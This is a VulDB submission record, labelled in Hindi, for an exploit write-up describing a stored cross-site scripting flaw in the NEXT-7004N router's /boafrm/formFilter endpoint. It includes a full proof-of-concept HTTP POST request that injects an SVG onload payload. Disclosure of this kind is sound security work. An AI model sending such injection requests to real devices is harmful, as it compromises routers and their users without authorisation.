| शीर्षक | NEXT-7004N 3.0.1 - Cross-site Scripting Stored |
|---|
| विवरण | # Exploit Title: NEXT-7004N 3.0.1 - Cross-site Scripting Stored
# Date: 2023-04-24
# Exploit Author: MrEmpy
# Product Vendor: http://www.ez-net.co.kr/
# Version: 3.0.1
Title:
================
NEXT-7004N 3.0.1 - Cross-site Scripting Stored
Summary:
================
The stored XSS vulnerability in the NEXT-7004N router in firmware version 3.0.1 occurs in the "/boafrm/formFilter" endpoint when the "url" parameter is passed via POST. This security flaw allows an attacker to inject malicious code into a web page that will be stored on the server and displayed to other users later, triggering a successful attack.
The payload used to exploit this vulnerability is "<svg onload=alert(1337)>", which is capable of running an alert on the compromised page. This type of attack can be used to steal sensitive information, such as passwords and credit card information, or redirect users to malicious websites.
Affected Product:
================
NEXT-7004N 3.0.1
Proof of Concept:
================
POST /boafrm/formFilter HTTP/1.1
Host: IP:8080
Content-Length: 171
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://IP:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
enabled=ON&urlFilterBlack=blackList&url=%3Csvg+onload%3Dalert%281337%29%3E&urlFilterMode=0&addFilterUrl=%EC%A0%80%EC%9E%A5&selectNum=&submit-url=%2Furlfilter.htm&encrypt=0 |
|---|
| स्रोत | ⚠️ . |
|---|
| उपयोगकर्ता | mrempy (UID 24379) |
|---|
| सबमिशन | 25/04/2023 12:22 AM (3 साल पहले) |
|---|
| संयम | 04/05/2023 06:02 PM (10 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 228012 [NEXTU NEXT-7004N 3.0.1 POST Request /boafrm/formFilter url क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 17 |
|---|